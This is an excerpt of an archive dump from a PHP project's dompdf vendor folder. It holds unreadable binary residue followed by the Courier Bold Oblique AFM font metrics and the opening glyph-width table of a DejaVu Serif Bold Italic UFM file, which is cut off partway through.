�%�K��.�����������%�x
��@�������@�%��0�����%��
���@@	��
�
��@I�
���o}������@���:�������]������%�]�@���%�������@����0�d�0�����dd��l~}~2}|{|{z�yx
wv w�vuv utlts�r�qp
q�p
p@o}nm>nkm>lkll�kk@jddj�ih�i�hg]h�h�gf%g]g@f%edde�ddcb�a�`_.`�_.^�]�\K[}Z�YDX�W�V�U�SdRQ2POP}ONA@BLJdI"I�H2GGFE
EDCDkCBCBABA@	A@	@���@S?�>->M=<=K<;
<<@;
:9:]98987
6�545�43432
321	2
2���@�1	0/0D/.//�.
..�-	d-�,+,K+"++@*
*d)(0)A(-(0'-'�&:%
%]$#$S#"##@"! !]   �
�
@#$0S-0�
�k@-��B	d�-�



@�
@8k
	d
}	d2}-2-
S��d��+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/Courier-BoldOblique.afm000066600000037017151150442770017000 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1989, 1990, 1991, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Mon Jun 23 16:28:46 0:00:00
Comment UniqueID 43049
Comment VMusage 17529 79244
FontName Courier-BoldOblique
FullName Courier Bold Oblique
FamilyName Courier
Weight Bold
ItalicAngle -12
IsFixedPitch true
CharacterSet ExtendedRoman
FontBBox -57 -250 869 801
UnderlinePosition -100
UnderlineThickness 50
Version 3
Notice Copyright (c) 1989, 1990, 1991, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
EncodingScheme WinAnsiEncoding
CapHeight 562
XHeight 439
Ascender 629
Descender -157
StdHW 84
StdVW 106
StartCharMetrics 317
C 32 ; WX 600 ; N space ; B 0 0 0 0 ;
C 160 ; WX 600 ; N space ; B 0 0 0 0 ;
C 33 ; WX 600 ; N exclam ; B 215 -15 495 572 ;
C 34 ; WX 600 ; N quotedbl ; B 211 277 585 562 ;
C 35 ; WX 600 ; N numbersign ; B 88 -45 641 651 ;
C 36 ; WX 600 ; N dollar ; B 87 -126 630 666 ;
C 37 ; WX 600 ; N percent ; B 101 -15 625 616 ;
C 38 ; WX 600 ; N ampersand ; B 61 -15 595 543 ;
C 146 ; WX 600 ; N quoteright ; B 229 277 543 562 ;
C 40 ; WX 600 ; N parenleft ; B 265 -102 592 616 ;
C 41 ; WX 600 ; N parenright ; B 117 -102 444 616 ;
C 42 ; WX 600 ; N asterisk ; B 179 219 598 601 ;
C 43 ; WX 600 ; N plus ; B 114 39 596 478 ;
C 44 ; WX 600 ; N comma ; B 99 -111 430 174 ;
C 45 ; WX 600 ; N hyphen ; B 143 203 567 313 ;
C 173 ; WX 600 ; N hyphen ; B 143 203 567 313 ;
C 46 ; WX 600 ; N period ; B 206 -15 427 171 ;
C 47 ; WX 600 ; N slash ; B 90 -77 626 626 ;
C 48 ; WX 600 ; N zero ; B 135 -15 593 616 ;
C 49 ; WX 600 ; N one ; B 93 0 562 616 ;
C 50 ; WX 600 ; N two ; B 61 0 594 616 ;
C 51 ; WX 600 ; N three ; B 71 -15 571 616 ;
C 52 ; WX 600 ; N four ; B 81 0 559 616 ;
C 53 ; WX 600 ; N five ; B 77 -15 621 601 ;
C 54 ; WX 600 ; N six ; B 135 -15 652 616 ;
C 55 ; WX 600 ; N seven ; B 147 0 622 601 ;
C 56 ; WX 600 ; N eight ; B 115 -15 604 616 ;
C 57 ; WX 600 ; N nine ; B 75 -15 592 616 ;
C 58 ; WX 600 ; N colon ; B 205 -15 480 425 ;
C 59 ; WX 600 ; N semicolon ; B 99 -111 481 425 ;
C 60 ; WX 600 ; N less ; B 120 15 613 501 ;
C 61 ; WX 600 ; N equal ; B 96 118 614 398 ;
C 62 ; WX 600 ; N greater ; B 97 15 589 501 ;
C 63 ; WX 600 ; N question ; B 183 -14 592 580 ;
C 64 ; WX 600 ; N at ; B 65 -15 642 616 ;
C 65 ; WX 600 ; N A ; B -9 0 632 562 ;
C 66 ; WX 600 ; N B ; B 30 0 630 562 ;
C 67 ; WX 600 ; N C ; B 74 -18 675 580 ;
C 68 ; WX 600 ; N D ; B 30 0 664 562 ;
C 69 ; WX 600 ; N E ; B 25 0 670 562 ;
C 70 ; WX 600 ; N F ; B 39 0 684 562 ;
C 71 ; WX 600 ; N G ; B 74 -18 675 580 ;
C 72 ; WX 600 ; N H ; B 20 0 700 562 ;
C 73 ; WX 600 ; N I ; B 77 0 643 562 ;
C 74 ; WX 600 ; N J ; B 58 -18 721 562 ;
C 75 ; WX 600 ; N K ; B 21 0 692 562 ;
C 76 ; WX 600 ; N L ; B 39 0 636 562 ;
C 77 ; WX 600 ; N M ; B -2 0 722 562 ;
C 78 ; WX 600 ; N N ; B 8 -12 730 562 ;
C 79 ; WX 600 ; N O ; B 74 -18 645 580 ;
C 80 ; WX 600 ; N P ; B 48 0 643 562 ;
C 81 ; WX 600 ; N Q ; B 83 -138 636 580 ;
C 82 ; WX 600 ; N R ; B 24 0 617 562 ;
C 83 ; WX 600 ; N S ; B 54 -22 673 582 ;
C 84 ; WX 600 ; N T ; B 86 0 679 562 ;
C 85 ; WX 600 ; N U ; B 101 -18 716 562 ;
C 86 ; WX 600 ; N V ; B 84 0 733 562 ;
C 87 ; WX 600 ; N W ; B 79 0 738 562 ;
C 88 ; WX 600 ; N X ; B 12 0 690 562 ;
C 89 ; WX 600 ; N Y ; B 109 0 709 562 ;
C 90 ; WX 600 ; N Z ; B 62 0 637 562 ;
C 91 ; WX 600 ; N bracketleft ; B 223 -102 606 616 ;
C 92 ; WX 600 ; N backslash ; B 222 -77 496 626 ;
C 93 ; WX 600 ; N bracketright ; B 103 -102 486 616 ;
C 94 ; WX 600 ; N asciicircum ; B 171 250 556 616 ;
C 95 ; WX 600 ; N underscore ; B -27 -125 585 -75 ;
C 145 ; WX 600 ; N quoteleft ; B 297 277 487 562 ;
C 97 ; WX 600 ; N a ; B 61 -15 593 454 ;
C 98 ; WX 600 ; N b ; B 13 -15 636 626 ;
C 99 ; WX 600 ; N c ; B 81 -15 631 459 ;
C 100 ; WX 600 ; N d ; B 60 -15 645 626 ;
C 101 ; WX 600 ; N e ; B 81 -15 605 454 ;
C 102 ; WX 600 ; N f ; B 83 0 677 626 ; L i fi ; L l fl ;
C 103 ; WX 600 ; N g ; B 40 -146 674 454 ;
C 104 ; WX 600 ; N h ; B 18 0 615 626 ;
C 105 ; WX 600 ; N i ; B 77 0 546 658 ;
C 106 ; WX 600 ; N j ; B 36 -146 580 658 ;
C 107 ; WX 600 ; N k ; B 33 0 643 626 ;
C 108 ; WX 600 ; N l ; B 77 0 546 626 ;
C 109 ; WX 600 ; N m ; B -22 0 649 454 ;
C 110 ; WX 600 ; N n ; B 18 0 615 454 ;
C 111 ; WX 600 ; N o ; B 71 -15 622 454 ;
C 112 ; WX 600 ; N p ; B -32 -142 622 454 ;
C 113 ; WX 600 ; N q ; B 60 -142 685 454 ;
C 114 ; WX 600 ; N r ; B 47 0 655 454 ;
C 115 ; WX 600 ; N s ; B 66 -17 608 459 ;
C 116 ; WX 600 ; N t ; B 118 -15 567 562 ;
C 117 ; WX 600 ; N u ; B 70 -15 592 439 ;
C 118 ; WX 600 ; N v ; B 70 0 695 439 ;
C 119 ; WX 600 ; N w ; B 53 0 712 439 ;
C 120 ; WX 600 ; N x ; B 6 0 671 439 ;
C 121 ; WX 600 ; N y ; B -21 -142 695 439 ;
C 122 ; WX 600 ; N z ; B 81 0 614 439 ;
C 123 ; WX 600 ; N braceleft ; B 203 -102 595 616 ;
C 124 ; WX 600 ; N bar ; B 201 -250 505 750 ;
C 125 ; WX 600 ; N braceright ; B 114 -102 506 616 ;
C 126 ; WX 600 ; N asciitilde ; B 120 153 590 356 ;
C 161 ; WX 600 ; N exclamdown ; B 196 -146 477 449 ;
C 162 ; WX 600 ; N cent ; B 121 -49 605 614 ;
C 163 ; WX 600 ; N sterling ; B 106 -28 650 611 ;
C -1 ; WX 600 ; N fraction ; B 22 -60 708 661 ;
C 165 ; WX 600 ; N yen ; B 98 0 710 562 ;
C 131 ; WX 600 ; N florin ; B -57 -131 702 616 ;
C 167 ; WX 600 ; N section ; B 74 -70 620 580 ;
C 164 ; WX 600 ; N currency ; B 77 49 644 517 ;
C 39 ; WX 600 ; N quotesingle ; B 303 277 493 562 ;
C 147 ; WX 600 ; N quotedblleft ; B 190 277 594 562 ;
C 171 ; WX 600 ; N guillemotleft ; B 62 70 639 446 ;
C 139 ; WX 600 ; N guilsinglleft ; B 195 70 545 446 ;
C 155 ; WX 600 ; N guilsinglright ; B 165 70 514 446 ;
C -1 ; WX 600 ; N fi ; B 12 0 644 626 ;
C -1 ; WX 600 ; N fl ; B 12 0 644 626 ;
C 150 ; WX 600 ; N endash ; B 108 203 602 313 ;
C 134 ; WX 600 ; N dagger ; B 175 -70 586 580 ;
C 135 ; WX 600 ; N daggerdbl ; B 121 -70 587 580 ;
C 183 ; WX 600 ; N periodcentered ; B 248 165 461 351 ;
C 182 ; WX 600 ; N paragraph ; B 61 -70 700 580 ;
C 149 ; WX 600 ; N bullet ; B 196 132 523 430 ;
C 130 ; WX 600 ; N quotesinglbase ; B 144 -142 458 143 ;
C 132 ; WX 600 ; N quotedblbase ; B 34 -142 560 143 ;
C 148 ; WX 600 ; N quotedblright ; B 119 277 645 562 ;
C 187 ; WX 600 ; N guillemotright ; B 71 70 647 446 ;
C 133 ; WX 600 ; N ellipsis ; B 35 -15 587 116 ;
C 137 ; WX 600 ; N perthousand ; B -45 -15 743 616 ;
C 191 ; WX 600 ; N questiondown ; B 100 -146 509 449 ;
C 96 ; WX 600 ; N grave ; B 272 508 503 661 ;
C 180 ; WX 600 ; N acute ; B 312 508 609 661 ;
C 136 ; WX 600 ; N circumflex ; B 212 483 607 657 ;
C 152 ; WX 600 ; N tilde ; B 199 493 643 636 ;
C 175 ; WX 600 ; N macron ; B 195 505 637 585 ;
C -1 ; WX 600 ; N breve ; B 217 468 652 631 ;
C -1 ; WX 600 ; N dotaccent ; B 348 498 493 638 ;
C 168 ; WX 600 ; N dieresis ; B 246 498 595 638 ;
C -1 ; WX 600 ; N ring ; B 319 481 528 678 ;
C 184 ; WX 600 ; N cedilla ; B 168 -206 368 0 ;
C -1 ; WX 600 ; N hungarumlaut ; B 171 488 729 661 ;
C -1 ; WX 600 ; N ogonek ; B 143 -199 367 0 ;
C -1 ; WX 600 ; N caron ; B 238 493 633 667 ;
C 151 ; WX 600 ; N emdash ; B 33 203 677 313 ;
C 198 ; WX 600 ; N AE ; B -29 0 708 562 ;
C 170 ; WX 600 ; N ordfeminine ; B 188 196 526 580 ;
C -1 ; WX 600 ; N Lslash ; B 39 0 636 562 ;
C 216 ; WX 600 ; N Oslash ; B 48 -22 673 584 ;
C 140 ; WX 600 ; N OE ; B 26 0 701 562 ;
C 186 ; WX 600 ; N ordmasculine ; B 188 196 543 580 ;
C 230 ; WX 600 ; N ae ; B 21 -15 652 454 ;
C -1 ; WX 600 ; N dotlessi ; B 77 0 546 439 ;
C -1 ; WX 600 ; N lslash ; B 77 0 587 626 ;
C 248 ; WX 600 ; N oslash ; B 54 -24 638 463 ;
C 156 ; WX 600 ; N oe ; B 18 -15 662 454 ;
C 223 ; WX 600 ; N germandbls ; B 22 -15 629 626 ;
C 207 ; WX 600 ; N Idieresis ; B 77 0 643 761 ;
C 233 ; WX 600 ; N eacute ; B 81 -15 609 661 ;
C -1 ; WX 600 ; N abreve ; B 61 -15 658 661 ;
C -1 ; WX 600 ; N uhungarumlaut ; B 70 -15 769 661 ;
C -1 ; WX 600 ; N ecaron ; B 81 -15 633 667 ;
C 159 ; WX 600 ; N Ydieresis ; B 109 0 709 761 ;
C 247 ; WX 600 ; N divide ; B 114 16 596 500 ;
C 221 ; WX 600 ; N Yacute ; B 109 0 709 784 ;
C 194 ; WX 600 ; N Acircumflex ; B -9 0 632 780 ;
C 225 ; WX 600 ; N aacute ; B 61 -15 609 661 ;
C 219 ; WX 600 ; N Ucircumflex ; B 101 -18 716 780 ;
C 253 ; WX 600 ; N yacute ; B -21 -142 695 661 ;
C -1 ; WX 600 ; N scommaaccent ; B 66 -250 608 459 ;
C 234 ; WX 600 ; N ecircumflex ; B 81 -15 607 657 ;
C -1 ; WX 600 ; N Uring ; B 101 -18 716 801 ;
C 220 ; WX 600 ; N Udieresis ; B 101 -18 716 761 ;
C -1 ; WX 600 ; N aogonek ; B 61 -199 593 454 ;
C 218 ; WX 600 ; N Uacute ; B 101 -18 716 784 ;
C -1 ; WX 600 ; N uogonek ; B 70 -199 592 439 ;
C 203 ; WX 600 ; N Edieresis ; B 25 0 670 761 ;
C -1 ; WX 600 ; N Dcroat ; B 30 0 664 562 ;
C -1 ; WX 600 ; N commaaccent ; B 151 -250 385 -57 ;
C 169 ; WX 600 ; N copyright ; B 53 -18 667 580 ;
C -1 ; WX 600 ; N Emacron ; B 25 0 670 708 ;
C -1 ; WX 600 ; N ccaron ; B 81 -15 633 667 ;
C 229 ; WX 600 ; N aring ; B 61 -15 593 678 ;
C -1 ; WX 600 ; N Ncommaaccent ; B 8 -250 730 562 ;
C -1 ; WX 600 ; N lacute ; B 77 0 639 801 ;
C 224 ; WX 600 ; N agrave ; B 61 -15 593 661 ;
C -1 ; WX 600 ; N Tcommaaccent ; B 86 -250 679 562 ;
C -1 ; WX 600 ; N Cacute ; B 74 -18 675 784 ;
C 227 ; WX 600 ; N atilde ; B 61 -15 643 636 ;
C -1 ; WX 600 ; N Edotaccent ; B 25 0 670 761 ;
C 154 ; WX 600 ; N scaron ; B 66 -17 633 667 ;
C -1 ; WX 600 ; N scedilla ; B 66 -206 608 459 ;
C 237 ; WX 600 ; N iacute ; B 77 0 609 661 ;
C -1 ; WX 600 ; N lozenge ; B 145 0 614 740 ;
C -1 ; WX 600 ; N Rcaron ; B 24 0 659 790 ;
C -1 ; WX 600 ; N Gcommaaccent ; B 74 -250 675 580 ;
C 251 ; WX 600 ; N ucircumflex ; B 70 -15 597 657 ;
C 226 ; WX 600 ; N acircumflex ; B 61 -15 607 657 ;
C -1 ; WX 600 ; N Amacron ; B -9 0 633 708 ;
C -1 ; WX 600 ; N rcaron ; B 47 0 655 667 ;
C 231 ; WX 600 ; N ccedilla ; B 81 -206 631 459 ;
C -1 ; WX 600 ; N Zdotaccent ; B 62 0 637 761 ;
C 222 ; WX 600 ; N Thorn ; B 48 0 620 562 ;
C -1 ; WX 600 ; N Omacron ; B 74 -18 663 708 ;
C -1 ; WX 600 ; N Racute ; B 24 0 665 784 ;
C -1 ; WX 600 ; N Sacute ; B 54 -22 673 784 ;
C -1 ; WX 600 ; N dcaron ; B 60 -15 861 626 ;
C -1 ; WX 600 ; N Umacron ; B 101 -18 716 708 ;
C -1 ; WX 600 ; N uring ; B 70 -15 592 678 ;
C 179 ; WX 600 ; N threesuperior ; B 193 222 526 616 ;
C 210 ; WX 600 ; N Ograve ; B 74 -18 645 784 ;
C 192 ; WX 600 ; N Agrave ; B -9 0 632 784 ;
C -1 ; WX 600 ; N Abreve ; B -9 0 684 784 ;
C 215 ; WX 600 ; N multiply ; B 104 39 606 478 ;
C 250 ; WX 600 ; N uacute ; B 70 -15 599 661 ;
C -1 ; WX 600 ; N Tcaron ; B 86 0 679 790 ;
C -1 ; WX 600 ; N partialdiff ; B 91 -38 627 728 ;
C 255 ; WX 600 ; N ydieresis ; B -21 -142 695 638 ;
C -1 ; WX 600 ; N Nacute ; B 8 -12 730 784 ;
C 238 ; WX 600 ; N icircumflex ; B 77 0 577 657 ;
C 202 ; WX 600 ; N Ecircumflex ; B 25 0 670 780 ;
C 228 ; WX 600 ; N adieresis ; B 61 -15 595 638 ;
C 235 ; WX 600 ; N edieresis ; B 81 -15 605 638 ;
C -1 ; WX 600 ; N cacute ; B 81 -15 649 661 ;
C -1 ; WX 600 ; N nacute ; B 18 0 639 661 ;
C -1 ; WX 600 ; N umacron ; B 70 -15 637 585 ;
C -1 ; WX 600 ; N Ncaron ; B 8 -12 730 790 ;
C 205 ; WX 600 ; N Iacute ; B 77 0 643 784 ;
C 177 ; WX 600 ; N plusminus ; B 76 24 614 515 ;
C 166 ; WX 600 ; N brokenbar ; B 217 -175 489 675 ;
C 174 ; WX 600 ; N registered ; B 53 -18 667 580 ;
C -1 ; WX 600 ; N Gbreve ; B 74 -18 684 784 ;
C -1 ; WX 600 ; N Idotaccent ; B 77 0 643 761 ;
C -1 ; WX 600 ; N summation ; B 15 -10 672 706 ;
C 200 ; WX 600 ; N Egrave ; B 25 0 670 784 ;
C -1 ; WX 600 ; N racute ; B 47 0 655 661 ;
C -1 ; WX 600 ; N omacron ; B 71 -15 637 585 ;
C -1 ; WX 600 ; N Zacute ; B 62 0 665 784 ;
C 142 ; WX 600 ; N Zcaron ; B 62 0 659 790 ;
C -1 ; WX 600 ; N greaterequal ; B 26 0 627 696 ;
C 208 ; WX 600 ; N Eth ; B 30 0 664 562 ;
C 199 ; WX 600 ; N Ccedilla ; B 74 -206 675 580 ;
C -1 ; WX 600 ; N lcommaaccent ; B 77 -250 546 626 ;
C -1 ; WX 600 ; N tcaron ; B 118 -15 627 703 ;
C -1 ; WX 600 ; N eogonek ; B 81 -199 605 454 ;
C -1 ; WX 600 ; N Uogonek ; B 101 -199 716 562 ;
C 193 ; WX 600 ; N Aacute ; B -9 0 655 784 ;
C 196 ; WX 600 ; N Adieresis ; B -9 0 632 761 ;
C 232 ; WX 600 ; N egrave ; B 81 -15 605 661 ;
C -1 ; WX 600 ; N zacute ; B 81 0 614 661 ;
C -1 ; WX 600 ; N iogonek ; B 77 -199 546 658 ;
C 211 ; WX 600 ; N Oacute ; B 74 -18 645 784 ;
C 243 ; WX 600 ; N oacute ; B 71 -15 649 661 ;
C -1 ; WX 600 ; N amacron ; B 61 -15 637 585 ;
C -1 ; WX 600 ; N sacute ; B 66 -17 609 661 ;
C 239 ; WX 600 ; N idieresis ; B 77 0 561 618 ;
C 212 ; WX 600 ; N Ocircumflex ; B 74 -18 645 780 ;
C 217 ; WX 600 ; N Ugrave ; B 101 -18 716 784 ;
C -1 ; WX 600 ; N Delta ; B 6 0 594 688 ;
C 254 ; WX 600 ; N thorn ; B -32 -142 622 626 ;
C 178 ; WX 600 ; N twosuperior ; B 191 230 542 616 ;
C 214 ; WX 600 ; N Odieresis ; B 74 -18 645 761 ;
C 181 ; WX 600 ; N mu ; B 49 -142 592 439 ;
C 236 ; WX 600 ; N igrave ; B 77 0 546 661 ;
C -1 ; WX 600 ; N ohungarumlaut ; B 71 -15 809 661 ;
C -1 ; WX 600 ; N Eogonek ; B 25 -199 670 562 ;
C -1 ; WX 600 ; N dcroat ; B 60 -15 712 626 ;
C 190 ; WX 600 ; N threequarters ; B 8 -60 699 661 ;
C -1 ; WX 600 ; N Scedilla ; B 54 -206 673 582 ;
C -1 ; WX 600 ; N lcaron ; B 77 0 731 626 ;
C -1 ; WX 600 ; N Kcommaaccent ; B 21 -250 692 562 ;
C -1 ; WX 600 ; N Lacute ; B 39 0 636 784 ;
C 153 ; WX 600 ; N trademark ; B 86 230 869 562 ;
C -1 ; WX 600 ; N edotaccent ; B 81 -15 605 638 ;
C 204 ; WX 600 ; N Igrave ; B 77 0 643 784 ;
C -1 ; WX 600 ; N Imacron ; B 77 0 663 708 ;
C -1 ; WX 600 ; N Lcaron ; B 39 0 757 562 ;
C 189 ; WX 600 ; N onehalf ; B 22 -60 716 661 ;
C -1 ; WX 600 ; N lessequal ; B 26 0 671 696 ;
C 244 ; WX 600 ; N ocircumflex ; B 71 -15 622 657 ;
C 241 ; WX 600 ; N ntilde ; B 18 0 643 636 ;
C -1 ; WX 600 ; N Uhungarumlaut ; B 101 -18 805 784 ;
C 201 ; WX 600 ; N Eacute ; B 25 0 670 784 ;
C -1 ; WX 600 ; N emacron ; B 81 -15 637 585 ;
C -1 ; WX 600 ; N gbreve ; B 40 -146 674 661 ;
C 188 ; WX 600 ; N onequarter ; B 13 -60 707 661 ;
C 138 ; WX 600 ; N Scaron ; B 54 -22 689 790 ;
C -1 ; WX 600 ; N Scommaaccent ; B 54 -250 673 582 ;
C -1 ; WX 600 ; N Ohungarumlaut ; B 74 -18 795 784 ;
C 176 ; WX 600 ; N degree ; B 173 243 570 616 ;
C 242 ; WX 600 ; N ograve ; B 71 -15 622 661 ;
C -1 ; WX 600 ; N Ccaron ; B 74 -18 689 790 ;
C 249 ; WX 600 ; N ugrave ; B 70 -15 592 661 ;
C -1 ; WX 600 ; N radical ; B 67 -104 635 778 ;
C -1 ; WX 600 ; N Dcaron ; B 30 0 664 790 ;
C -1 ; WX 600 ; N rcommaaccent ; B 47 -250 655 454 ;
C 209 ; WX 600 ; N Ntilde ; B 8 -12 730 759 ;
C 245 ; WX 600 ; N otilde ; B 71 -15 643 636 ;
C -1 ; WX 600 ; N Rcommaaccent ; B 24 -250 617 562 ;
C -1 ; WX 600 ; N Lcommaaccent ; B 39 -250 636 562 ;
C 195 ; WX 600 ; N Atilde ; B -9 0 669 759 ;
C -1 ; WX 600 ; N Aogonek ; B -9 -199 632 562 ;
C 197 ; WX 600 ; N Aring ; B -9 0 632 801 ;
C 213 ; WX 600 ; N Otilde ; B 74 -18 669 759 ;
C -1 ; WX 600 ; N zdotaccent ; B 81 0 614 638 ;
C -1 ; WX 600 ; N Ecaron ; B 25 0 670 790 ;
C -1 ; WX 600 ; N Iogonek ; B 77 -199 643 562 ;
C -1 ; WX 600 ; N kcommaaccent ; B 33 -250 643 626 ;
C -1 ; WX 600 ; N minus ; B 114 203 596 313 ;
C 206 ; WX 600 ; N Icircumflex ; B 77 0 643 780 ;
C -1 ; WX 600 ; N ncaron ; B 18 0 633 667 ;
C -1 ; WX 600 ; N tcommaaccent ; B 118 -250 567 562 ;
C 172 ; WX 600 ; N logicalnot ; B 135 103 617 413 ;
C 246 ; WX 600 ; N odieresis ; B 71 -15 622 638 ;
C 252 ; WX 600 ; N udieresis ; B 70 -15 595 638 ;
C -1 ; WX 600 ; N notequal ; B 30 -47 626 563 ;
C -1 ; WX 600 ; N gcommaaccent ; B 40 -146 674 714 ;
C 240 ; WX 600 ; N eth ; B 93 -27 661 626 ;
C 158 ; WX 600 ; N zcaron ; B 81 0 643 667 ;
C -1 ; WX 600 ; N ncommaaccent ; B 18 -250 615 454 ;
C 185 ; WX 600 ; N onesuperior ; B 212 230 514 616 ;
C -1 ; WX 600 ; N imacron ; B 77 0 575 585 ;
C 128 ; WX 600 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSerif-BoldItalic.ufm000066600000404666151150442770017400 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Serif
FontSubfamily Bold Italic
UniqueID DejaVu Serif Bold Italic
FullName DejaVu Serif Bold Italic
Version Version 2.37
PostScriptName DejaVuSerif-BoldItalic
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
PreferredFamily DejaVu Serif
PreferredSubfamily Bold Italic
Weight Bold
ItalicAngle -11
IsFixedPitch false
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 939
Descender -236
FontBBox -906 -389 1925 1145
StartCharMetrics 3506
U 32 ; WX 348 ; N space ; G 3
U 33 ; WX 439 ; N exclam ; G 4
U 34 ; WX 521 ; N quotedbl ; G 5
U 35 ; WX 838 ; N numbersign ; G 6
U 36 ; WX 696 ; N dollar ; G 7
U 37 ; WX 950 ; N percent ; G 8
U 38 ; WX 903 ; N ampersand ; G 9
U 39 ; WX 306 ; N quotesingle ; G 10
U 40 ; WX 473 ; N parenleft ; G 11
U 41 ; WX 473 ; N parenright ; G 12
U 42 ; WX 523 ; N asterisk ; G 13
U 43 ; WX 838 ; N plus ; G 14
U 44 ; WX 348 ; N comma ; G 15
U 45 ; WX 415 ; N hyphen ; G 16
U 46 ; WX 348 ; N period ; G 17
U 47 ; WX 365 ; N slash ; G 18
U 48 ; WX 696 ; N zero ; G 19
U 49 ; WX 696 ; N one ; G 20
U 50 ; WX 696 ; N two ; G 21
U 51 ; WX 696 ; N three ; G 22
U 52 ; WX 696 ; N four ; G 23
U 53 ; WX 696 ; N five ; G 24
U 54 ; WX 696 ; N six ; G 25
U 55 ; WX 696 ; N seven ; G 26
U 56 ; WX 696 ; N eight ; G 27
U 57 ; WX 696 ; N nine ; G 28
U 58 ; WX 369 ; N colon ; G 29
U 59 ; WX 369 ; N semicolon ; G 30
U 60 ; WX 838 ; N less ; G 31
U 61 ; WX 838 ; N equal ; G 32
U 62 ; WX 838 ; N greater ; G 33
U 63 ; WX 586 ; N question ; G 34
U 64 ; WX 1000 ; N at ; G 35
U 65 ; WX 776 ; N A ; G 36
U 66 ; WX 845 ; N B ; G 37
U 67 ; WX 796 ; N C ; G 38
U 68 ; WX 867 ; N D ; G 39
U 69 ; WX 762 ; N E ; G 40
U 70 ; WX 710 ; N F ; G 41
U 71 ; WX 854 ; N G ; G 42
U 72 ; WX 945 ; N H ; G 43
U 73 ; WX 468 ; N I ; G 44
U 74 ; WX 473 ; N J ; G 45
U 75 ; WX 869 ; N K ; G 46
U 76 ; WX 703 ; N L ; G 47
U 77 ; WX 1107 ; N M ; G 48
U 78 ; WX 914 ; N N ; G 49
U 79 ; WX 871 ; N O ; G 50
U 80 ; WX 752 ; N P ; G 51
U 81 ; WX 871 ; N Q ; G 52
U 82 ; WX 831 ; N R ; G 53
U 83 ; WX 722 ; N S ; G 54
U 84 ; WX 744 ; N T ; G 55
U 85 ; WX 872 ; N U ; G 56
U 86 ; WX 776 ; N V ; G 57
U 87 ; WX 1123 ; N W ; G 58
U 88 ; WX 776 ; N X ; G 59
U 89 ; WX 714 ; N Y ; G 60
U 90 ; WX 730 ; N Z ; G 61
U 91 ; WX 473 ; N bracketleft ; G 62
U 92 ; WX 365 ; N backslash ; G 63
U 93 ; WX 473 ; N bracketright ; G 64
U 94 ; WX 838 ; N asciicircum ; G 65
U 95 ; WX 500 ; N underscore ; G 66
U 96 ; WX 500 ; N grave ; G 67
U 97 ; WX 648 ; N a ; G 68
U 98 ; WX 699 ; N b ; G 69
U 99 ; WX 609 ; N c ; G 70
U 100 ; WX 699 ; N d ; G 71
U 101 ; WX 636 ; N e ; G 72
U 102 ; WX 430 ; N f ; G 73
U 103 ; WX 699 ; N g ; G 74
U 104 ; WX 727 ; N h ; G 75
U 105 ; WX 380 ; N i ; G 76
U 106 ; WX 362 ; N j ; G 77
U 107 ; WX 693 ; N k ; G 78
U 108 ; WX 380 ; N l ; G 79
U 109 ; WX 1058 ; N m ; G 80
U 110 ; WX 727 ; N n ; G 81
U 111 ; WX 667 ; N o ; G 82
U 112 ; WX 699 ; N p ; G 83
U 113 ; WX 699 ; N q ; G 84
U 114 ; WX 527 ; N r ; G 85
U 115 ; WX 563 ; N s ; G 86
U 116 ; WX 462 ; N t ; G 87
U 117 ; WX 727 ; N u ; G 88
U 118 ; WX 581 ; N v ; G 89
U 119 ; WX 861 ; N w ; G 90
U 120 ; WX 596 ; N x ; G 91
U 121 ; WX 581 ; N y ; G 92
U 122 ; WX 568 ; N z ; G 93
U 123 ; WX 643 ; N braceleft ; G 94
U 124 ; WX 364 ; N bar ; G 95
U 125 ; WX 643 ; N braceright ; G 96
U 126 ; WX 838 ; N asciitilde ; G 97
U 160 ; WX 348 ; N nbspace ; G 98
U 161 ; WX 439 ; N exclamdown ; G 99
U 162 ; WX 696 ; N cent ; G 100
U 163 ; WX 696 ; N sterling ; G 101
U 164 ; WX 636 ; N currency ; G 102
U 165 ; WX 696 ; N yen ; G 103
U 166 ; WX 364 ; N brokenbar ; G 104
U 167 ; WX 523 ; N section ; G 105
U 168 ; WX 500 ; N dieresis ; G 106
U 169 ; WX 1000 ; N copyright ; G 107
U 170 ; WX 487 ; N ordfeminine ; G 108
U 171 ; WX 625 ; N guillemotleft ; G 109
U 172 ; WX 838 ; N logicalnot ; G 110
U 173 ; WX 415 ; N sfthyphen ; G 111
U 174 ; WX 1000 ; N registered ; G 112
U 175 ; WX 500 ; N macron ; G 113
U 176 ; WX 500 ; N degree ; G 114
U 177 ; WX 838 ; N plusminus ; G 115
U 178 ; WX 438 ; N twosuperior ; G 116
U 179 ; WX 438 ; N threesuperior ; G 117
U 180 ; WX 500 ; N acute ; G 118
U 181 ; WX 732 ; N mu ; G 119
U 182 ; WX 636 ; N paragraph ; G 120
U 183 ; WX 348 ; N periodcentered ; G 121
U 184 ; WX 500 ; N cedilla ; G 122
U 185 ; WX 438 ; N onesuperior ; G 123
U 186 ; WX 500 ; N ordmasculine ; G 124
U 187 ; WX 625 ; N guillemotright ; G 125
U 188 ; WX 1043 ; N onequarter ; G 126
U 189 ; WX 1043 ; N onehalf ; G 127
U 190 ; WX 1043 ; N threequarters ; G 128
U 191 ; WX 586 ; N questiondown ; G 129
U 192 ; WX 776 ; N Agrave ; G 130
U 193 ; WX 776 ; N Aacute ; G 131
U 194 ; WX 776 ; N Acircumflex ; G 132
U 195 ; WX 776 ; N Atilde ; G 133
U 196 ; WX 776 ; N Adieresis ; G 134
U 197 ; WX 776 ; N Aring ; G 135
U 198 ; WX 1034 ; N AE ; G 136
U 199 ; WX 796 ; N Ccedilla ; G 137
U 200 ; WX 762 ; N Egrave ; G 138
U 201 ; WX 762 ; N Eacute ; G 139
